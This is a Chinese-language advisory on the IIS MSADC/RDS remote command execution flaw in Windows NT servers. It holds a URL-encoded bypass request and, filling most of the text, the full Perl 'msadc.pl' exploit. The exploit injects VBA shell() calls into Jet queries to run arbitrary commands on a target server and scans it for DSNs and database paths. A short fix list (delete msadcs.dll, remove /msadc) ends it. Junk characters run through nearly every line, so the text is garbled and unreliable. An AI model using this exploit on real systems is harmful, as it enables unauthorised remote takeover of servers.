IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
1[QH68 P #_8$#G3 涉及程序：
;%Z%]n IS Microsoft NT server
Tu m9Xa
%-z AV*> 描述：
8vN} v3HV& 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
fO!S^<9,- # 3:;&@#
详细：
] Q} z-U 如果你没有时间读详细内容的话，就删除:
|( %3 '"Z c:\Program Files\Common Files\System\Msadc\msadcs.dll
wH:'5+u :6 有关的安全问题就没有了。
=c)O8 won(HK\1p 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
Ov
vM)?^# (#w8/@JxF 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
X%S9 H^9 关于利用ODBC远程漏洞的描述，请参看:
o=!3=2@dh hFC4CqBV http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm .Yxx
yPKDn.1 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
vt;<+"eps http://www.microsoft.com/security/bulletins/MS99-025faq.asp 0:W*_w0Ge kN X(@f 这里不再论述。
:#M(,S"Qq UX-l`ygl 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
8]DN]\\o mp_(ke /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
|"[[.Adw9" 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
| 51z&dG )^&,[Q=i Zi+>#kDV #将下面这段保存为txt文件，然后: "perl -x 文件名"
~I0I#_$'P B_u+$Odo #!perl
&Wj
%`T{ #
.x __X3P>\ # MSADC/RDS 'usage' (aka exploit) script
l}>g G[q! #
NN<kO#c+2 # by rain.forest.puppy
t7VX W{3 #
N =)
E$h # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
LK8K =AA3P # beta test and find errors!
3r=IO# cmQLkT"#K use Socket; use Getopt::Std;
9 R XT getopts("e:vd:h:XR", \%args);
/rd6p{F ~rBeJZ print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
%eoO3"// 4m%RD&ZN if (!defined $args{h} && !defined $args{R}) {
H79|%@F" print qq~
U!@ 3[' Usage: msadc.pl -h <host> { -d <delay> -X -v }
]Y |Y ? -h <host> = host you want to scan (ip or domain)
&`7tX.iMlh -d <seconds> = delay between calls, default 1 second
(h0i2>K -X = dump Index Server path table, if available
8aw'Q? -v = verbose
<De2 9'},y -e = external dictionary file for step 5
xACA tJ'gc ~+VIELU<% Or a -R will resume a command session
W,zlR5+Jk EP#3+B sH ~; exit;}
OQ<|Xd I$ $CaF"5}?Ke $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
6MfjB@ if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
;4nz'9+ if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
EthnI7Y
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
clz6; P $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
NQq$0<7.=W if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
GXC :~$N zJ4 2%0g if (!defined $args{R}){ $ret = &has_msadc;
JLT ^0wBB die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
rj"oz" _20nOg `o print "Please type the NT commandline you want to run (cmd /c assumed):\n"
#vJDb |z . "cmd /c ";
[wAI;=. $in=<STDIN>; chomp $in;
"}PaMR] $command="cmd /c " . $in ;
D_ ,}lsrb -#v1b>ScY if (defined $args{R}) {&load; exit;}
=@ b/ Gl >^%]F[Wo print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
%WrUu|xj>_ &try_btcustmr;
< J=9,tv< |$`LsA. print "\nStep 2: Trying to make our own DSN...";
m (nGtrQJm &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
V7u; "vD T78`~-D4< print "\nStep 3: Trying known DSNs...";
l]whL1N3 &known_dsn;
kUAj Q> ]zHUF!a* print "\nStep 4: Trying known .mdbs...";
x$9UHEb kM &known_mdb;
* a xOen p=6Q0r |' if (defined $args{e}){
>\hu1C|W print "\nStep 5: Trying dictionary of DSN names...";
wmFI? &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
a4FvQH#j S ?nXpYr print "Sorry Charley...maybe next time?\n";
uzL)qH$b exit;
#_{3W-35* HK>!%t0S ##############################################################################
w">XI)*z <5 MnF sub sendraw { # ripped and modded from whisker
+)Tt\Q%7 sleep($delay); # it's a DoS on the server! At least on mine...
Hep]jxp+ my ($pstr)=@_;
t WVbD%u^ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
[E_6n$w die("Socket problems\n");
?4wS/ _C/ if(connect(S,pack "SnA4x8",2,80,$target)){
NKd!i09` select(S); $|=1;
c[ @-&o` print $pstr; my @in=<S>;
+_uT1Ps BY select(STDOUT); close(S);
djV^A return @in;
vINm2%*zJ } else { die("Can't connect...\n"); }}
P: &XtpP [ Y.3miE ##############################################################################
xn(lkQ6Fm w\KO1 Ob sub make_header { # make the HTTP request
PgAC3%M6 my $msadc=<<EOT
YC4S,f Y` POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
tUl#sqN_{ User-Agent: ACTIVEDATA
F*rU=cu Host: $ip
$O,$KAC Content-Length: $clen
2SEfEkk Connection: Keep-Alive
<jXXj[M2 #
)-Kf ADCClientVersion:01.06
6s BS;+C Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
LhC%`w C5#3c yf*B --!ADM!ROX!YOUR!WORLD!
p= jD "lq Content-Type: application/x-varg
a6"Pe07t Content-Length: $reqlen
bb[.Kvq5 E$m3Gg)s>N EOT
FQ>KbZh ; $msadc=~s/\n/\r\n/g;
qcz Gv2%! return $msadc;}
"NSm2RU3 TYW$=p| ##############################################################################
ext`%$ U7 l'T3RC,\ sub make_req { # make the RDS request
oEvXZ;F@. my ($switch, $p1, $p2)=@_;
Q Pg M<ns my $req=""; my $t1, $t2, $query, $dsn;
:P<}
bGN m&jh7)V if ($switch==1){ # this is the btcustmr.mdb query
Y~( #_K $query="Select * from Customers where City=" . make_shell();
^Fgmwa ' $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
8r(S=dA $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
.]g >. ^il'Q_-{ elsif ($switch==2){ # this is general make table query
eAS~>|N#x $query="create table AZZ (B int, C varchar(10))";
F,EcqM'f $dsn="$p1";}
M~7 gUb| #>C.61Fx elsif ($switch==3){ # this is general exploit table query
SU9qF73Y $query="select * from AZZ where C=" . make_shell();
ENm\1 $dsn="$p1";}
:%Na-j9hV) Xu $_%+46 elsif ($switch==4){ # attempt to hork file info from index server
@x ?7J@: $query="select path from scope()";
K?:rrd=7q $dsn="Provider=MSIDXS;";}
ST1PSuC~ _x_om#~n elsif ($switch==5){ # bad query
EaGh`*"w(7 $query="select";
5hak'#2 $dsn="$p1";}
-S\74hA Z?|\0GR+`5 $t1= make_unicode($query);
rr>*_67-: $t2= make_unicode($dsn);
Q9=vgOW+ $req = "\x02\x00\x03\x00";
),y{.n:wm $req.= "\x08\x00" . pack ("S1", length($t1));
SD paW6(_ $req.= "\x00\x00" . $t1 ;
_]H$rf,Rc $req.= "\x08\x00" . pack ("S1", length($t2));
IM),cOp= $req.= "\x00\x00" . $t2 ;
)?RR1 P-ID $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
o,(MB[|hQ return $req;}
Wg PpW!` K4N B# ##############################################################################
#FKo:id`K o^%4w>| sub make_shell { # this makes the shell() statement
Q.Uyl:^PxU return "'|shell(\"$command\")|'";}
0\# uxzdhJ I)I,{xT4 ##############################################################################
i&\N_PUm[ 5fuOl-M0W sub make_unicode { # quick little function to convert to unicode
DJP)V8]!B my ($in)=@_; my $out;
~ .7r for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
Y}%=:Yt return $out;}
Q`}1 B 52K_kB5 ##############################################################################
+[M5x[[$ .w2X24Mmb sub rdo_success { # checks for RDO return success (this is kludge)
_!6~o> my (@in) = @_; my $base=content_start(@in);
OnFx8r:q@% if($in[$base]=~/multipart\/mixed/){
AHX_ I return 1 if( $in[$base+10]=~/^\x09\x00/ );}
vk :@ rOpl return 0;}
M 0g!"0? :[P>e
ox ##############################################################################
m~ :W$x1+ tep_g4CQR_ sub make_dsn { # this makes a DSN for us
&> 43l+ my @drives=("c","d","e","f");
JVE]Qb_ print "\nMaking DSN: ";
+ou5cQ^ foreach $drive (@drives) {
Yo i4R{9c print "$drive: ";
6n 37R#( my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
Vvu+gP'z. "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
8 t3@ Hi . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
pn?c6K vO $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
10x o<@l return 0 if $2 eq "404"; # not found/doesn't exist
<kIg>+ if($2 eq "200") {
o!EPF-: foreach $line (@results) {
Qa~dd{? return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
3lYM(DT } return 0;}
N}Ozm6Mc +~mBo+ , ##############################################################################
l}B,SkP^ $$ 8xdv# sub verify_exists {
BoJ@bOe# my ($page)=@_;
d4<Ic# my @results=sendraw("GET $page HTTP/1.0\n\n");
uV?[eiezD0 return $results[0];}
R06q~ > Qag@#!&n ##############################################################################
E8# r<=(m so_ sub try_btcustmr {
+o})Cs`|=A my @drives=("c","d","e","f");
g(m 3
& my @dirs=("winnt","winnt35","winnt351","win","windows");
\NwL #bQ~ mle"!* foreach $dir (@dirs) {
[I:D\) $< print "$dir -> "; # fun status so you can see progress
2^N
4( foreach $drive (@drives) {
d[;=X .fZ2 print "$drive: "; # ditto
Fn0Rq9 /@ $reqlen=length( make_req(1,$drive,$dir) ) - 28;
)? WiO}" $reqlenlen=length( "$reqlen" );
QHnk@ R! $clen= 206 + $reqlenlen + $reqlen;
i_T8 Bfd: VKRj
1LXz my @results=sendraw(make_header() . make_req(1,$drive,$dir));
kK+ <n8R2 if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
/]4[b!OTJ else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
bA v>?Xqa /pzEL ##############################################################################
3#vhQ*xU E ?(+v sub odbc_error {
2)(P;[m^o my (@in)=@_; my $base;
r
J'm>&Ps my $base = content_start(@in);
vB( tpki| if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
eED Fm $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
aV`4M VWOz $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
]v96Q /a $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
@4dB$QF`& return $in[$base+4].$in[$base+5].$in[$base+6];}
odAeBQy print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
QU0K'4Yx5j print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
GGHe{l $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
n)$T
zND ) 9h5a+Z ##############################################################################
':6!f gHc0n 0ZV sub verbose {
_
Js & _d my ($in)=@_;
F aO=<jYi return if !$verbose;
HVG9 C$ print STDOUT "\n$in\n";}
2@WF]*Z `h+ia/ ##############################################################################
wlr/zquAE9 R:HF~} sub save {
cd,)GF my ($p1, $p2, $p3, $p4)=@_;
s\g"~2+ open(OUT, ">rds.save") || print "Problem saving parameters...\n";
gd3~R+Kd print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
`ro~l_U;A close OUT;}
~ld qg2c xv;'27mUt ##############################################################################
+BcJHNIB v#i,pBj sub load {
2OFrv=F my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
3]Rb2$ p[= open(IN,"<rds.save") || die("Couldn't open rds.save\n");
J{c-'Of2yi @p=<IN>; close(IN);
`[x`#irD $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
iDej{95 $target= inet_aton($ip) || die("inet_aton problems");
xKIzEN
& print "Resuming to $ip ...";
"F%w{b f $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
t a\AiHm if($p[1]==1) {
_/0vmgQ& $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
!U38aHG $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
&x$1hx' my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
@KRr$k if (rdo_success(@results)){print "Success!\n";}
.T0w2Dv / else { print "failed\n"; verbose(odbc_error(@results));}}
Stqlp<xy elsif ($p[1]==3){
"i/ l' if(run_query("$p[3]")){
Oi# F print "Success!\n";} else { print "failed\n"; }}
xu[6h?u(h8 elsif ($p[1]==4){
8/cD7O if(run_query($drvst . "$p[3]")){
Y(QLlJ*)/ print "Success!\n"; } else { print "failed\n"; }}
Ia-`x/r*m exit;}
E'qG K T >g8H ##############################################################################
D.?Rc'y D 9C[i#+_3M sub create_table {
B;. ]<k'3 my ($in)=@_;
` 0a=A#]1o $reqlen=length( make_req(2,$in,"") ) - 28;
b,U"N- 6 $reqlenlen=length( "$reqlen" );
qzq_3^ 66 $clen= 206 + $reqlenlen + $reqlen;
OL|_@Fv`A my @results=sendraw(make_header() . make_req(2,$in,""));
O^(ji8[l return 1 if rdo_success(@results);
.: ~);9kj my $temp= odbc_error(@results); verbose($temp);
RL0,QC)e#@ return 1 if $temp=~/Table 'AZZ' already exists/;
GZgu1YR return 0;}
tVJ}NI # D0 Cs
g39 ##############################################################################
2 t ' ^ &wc% mQV sub known_dsn {
8z\v|-%Z # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
\d~sU, L;] my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
=8BMCedH| "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
LlAMtw" "banner", "banners", "ads", "ADCDemo", "ADCTest");
KDD_WXGt~ F!m/n !YR foreach $dSn (@dsns) {
L|hsGm\ print ".";
c\.Hs9T > next if (!is_access("DSN=$dSn"));
T; /Y/ Fd if(create_table("DSN=$dSn")){
?`R; ZT)U- print "$dSn successful\n";
LJ7Qwh_", if(run_query("DSN=$dSn")){
3 D<s # print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
dd4g?): print "Something's borked. Use verbose next time\n";}}} print "\n";}
M(>" e*Pi
[7d>c ##############################################################################
26n+v(re 2S'{$m)
sub is_access {
4L Y
kK/: my ($in)=@_;
t#
cm | $reqlen=length( make_req(5,$in,"") ) - 28;
.ET@J`"M $reqlenlen=length( "$reqlen" );
$kPC"!X\ $clen= 206 + $reqlenlen + $reqlen;
>|h$d:~n my @results=sendraw(make_header() . make_req(5,$in,""));
8BP.VxX my $temp= odbc_error(@results);
Ak(_![Q:q\ verbose($temp); return 1 if ($temp=~/Microsoft Access/);
>jI( ^ 8? return 0;}
\va'>?#o1 (' yBIb\ue ##############################################################################
78'HE(* v5J%
p4 sub run_query {
U/2]ACGCN^ my ($in)=@_;
*fs'%"w- $reqlen=length( make_req(3,$in,"") ) - 28;
""- #b^DQ $reqlenlen=length( "$reqlen" );
@2 H"8KX $clen= 206 + $reqlenlen + $reqlen;
$Pw@EC ] my @results=sendraw(make_header() . make_req(3,$in,""));
|8,|>EyqK return 1 if rdo_success(@results);
J,@SSmJ` my $temp= odbc_error(@results); verbose($temp);
"[W${q+0x return 0;}
s^:8bFn9$ ' ~-JR> ##############################################################################
Af'L=0 p9c`rl_N sub known_mdb {
1CS [%)-c my @drives=("c","d","e","f","g");
92y <E< n my @dirs=("winnt","winnt35","winnt351","win","windows");
R w8l" ` my $dir, $drive, $mdb;
9='a9\((mH my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
a:$hK%^
\ FdrH, # this is sparse, because I don't know of many
5}J|YKyP my @sysmdbs=( "\\catroot\\icatalog.mdb",
34k}7 k~n "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
g5THkxp "\\system32\\certmdb.mdb",
cBxBIC "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
/]pBcb|< D|zlC,J, my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
Ur^~ fW1 o "\\cfusion\\cfapps\\forums\\forums_.mdb",
6 <&jY "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
+n#(QOz "\\cfusion\\cfapps\\security\\realm_.mdb",
a >w@9 "\\cfusion\\cfapps\\security\\data\\realm.mdb",
*=+m;%]_ "\\cfusion\\database\\cfexamples.mdb",
C)w11$.YQ9 "\\cfusion\\database\\cfsnippets.mdb",
Cso!VdCX "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
s{I Xth6 "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
6g\SJ O-;N "\\cfusion\\brighttiger\\database\\cleam.mdb",
tG1,AkyZ "\\cfusion\\database\\smpolicy.mdb",
r?^[o "\\cfusion\\database\cypress.mdb",
AawK/tfs "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
U~%V;*|4 "\\website\\cgi-win\\dbsample.mdb",
BK,h$z7#6 "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
aI8k:FK" "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
ssdpwn' ); #these are just
'<(S*&s foreach $drive (@drives) {
)C
\ %R foreach $dir (@dirs){
%Pl
7FHfB foreach $mdb (@sysmdbs) {
h!c6]D4!L print ".";
0MV^-M
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
3I|&}+Z6 print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
O3U6"{yJ) if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
)TYrb:M'm print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
E: EXp7 } else { print "Something's borked. Use verbose next time\n"; }}}}}
6Xu^ cbD [=Qv?am foreach $drive (@drives) {
DyZe+,g;S foreach $mdb (@mdbs) {
&hciv\YT2W print ".";
kzZdYiC if(create_table($drv . $drive . $dir . $mdb)){
N*d
)<8_ print "\n" . $drive . $dir . $mdb . " successful\n";
{Pi+VuLE if(run_query($drv . $drive . $dir . $mdb)){
}B-@lbK6) print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
;'^5$q } else { print "Something's borked. Use verbose next time\n"; }}}}
EN
OaC
}
`jl 1Q,~2r irqNnnMGEa ##############################################################################
cQ:Y@f 9 d[h2Y/AR sub hork_idx {
'A#`,^]uLF print "\nAttempting to dump Index Server tables...\n";
-c%K_2` print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
)9(Mt _ $reqlen=length( make_req(4,"","") ) - 28;
xR9<I:^& $reqlenlen=length( "$reqlen" );
NF/@'QRT $clen= 206 + $reqlenlen + $reqlen;
#Y)Gos my @results=sendraw2(make_header() . make_req(4,"",""));
4';~@IBf if (rdo_success(@results)){
S4n ~wo my $max=@results; my $c; my %d;
%}t<,ex(yO for($c=19; $c<$max; $c++){
P=Au~2 X $results[$c]=~s/\x00//g;
z]P =>w $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
1J(` kQ)c $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
]QB<N|ps $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
|nf FI $d{"$1$2"}="";}
H@!\?5I foreach $c (keys %d){ print "$c\n"; }
43i@5F] } else {print "Index server doesn't seem to be installed.\n"; }}
`RRC8 ]l qu}`;\9@ld ##############################################################################
QG~4 <zy egOZ.oV sub dsn_dict {
H;#3 S< open(IN, "<$args{e}") || die("Can't open external dictionary\n");
?Hb5<,1u3 while(<IN>){
p&Os 5zw;| $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
D{%l 4og next if (!is_access("DSN=$dSn"));
}3G`f> s if(create_table("DSN=$dSn")){
]p,sve vo print "$dSn successful\n";
".n,R"EF if(run_query("DSN=$dSn")){
UODbT && print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
+/">]QJ print "Something's borked. Use verbose next time\n";}}}
%t*_Rtz\o print "\n"; close(IN);}
L|O'X4"&_ =Gka;,n ##############################################################################
cba ]u;Ma
G=; sub sendraw2 { # ripped and modded from whisker
R`)^ eqB sleep($delay); # it's a DoS on the server! At least on mine...
RyI (6TZl my ($pstr)=@_;
Gp0B^^H $ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
zQ;jaS3 hf die("Socket problems\n");
AKKp-I5 if(connect(S,pack "SnA4x8",2,80,$target)){
jm|x=s3}h print "Connected. Getting data";
Ch3{q/-g open(OUT,">raw.out"); my @in;
&$\B&Hp @ select(S); $|=1; print $pstr;
E?L^ L3s while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
ZGstD2 N$ close(OUT); select(STDOUT); close(S); return @in;
7~g IOu } else { die("Can't connect...\n"); }}
B%~hVpm,eM 5xHP5+& ##############################################################################
W tT*
1Z z>\vYR$ sub content_start { # this will take in the server headers
+<\)b( my (@in)=@_; my $c;
`v]|x,l+C for ($c=1;$c<500;$c++) {
yvPcD5s5 if($in[$c] =~/^\x0d\x0a/){
4
_*^~w if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
!B&OK&* else { return $c+1; }}}
M
Y2=lT return -1;} # it should never get here actually
X:aLed_{f {_ &*"bK ##############################################################################
m|:O:< ;WF3w sub funky {
qDMVZb-(# my (@in)=@_; my $error=odbc_error(@in);
L7~9u|7a# if($error=~/ADO could not find the specified provider/){
4Nz@s^9 print "\nServer returned an ADO miscofiguration message\nAborting.\n";
-?m"+mUP exit;}
[Pn(d [$z if($error=~/A Handler is required/){
-i,=sZXB print "\nServer has custom handler filters (they most likely are patched)\n";
Dy_ayxm exit;}
.3yoDab if($error=~/specified Handler has denied Access/){
Y|*a,H"_ print "\nServer has custom handler filters (they most likely are patched)\n";
OGDCC/ exit;}}
QYm]&;EI Gr1WBYK ##############################################################################
**oa R 7 W)*IJ sub has_msadc {
Ukf4Q\@w my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
~,*=j~#h my $base=content_start(@results);
gpIq4Q< return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
.u+ZrA# return 0;}
:A~6Gk92A ,'7 X|z/_> ########################
-y@#
^SrJ 4pYscB %K9 9_ Cl3 解决方案：
K2'Il[ 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
1
P0)La # 2、移除web 目录: /msadc
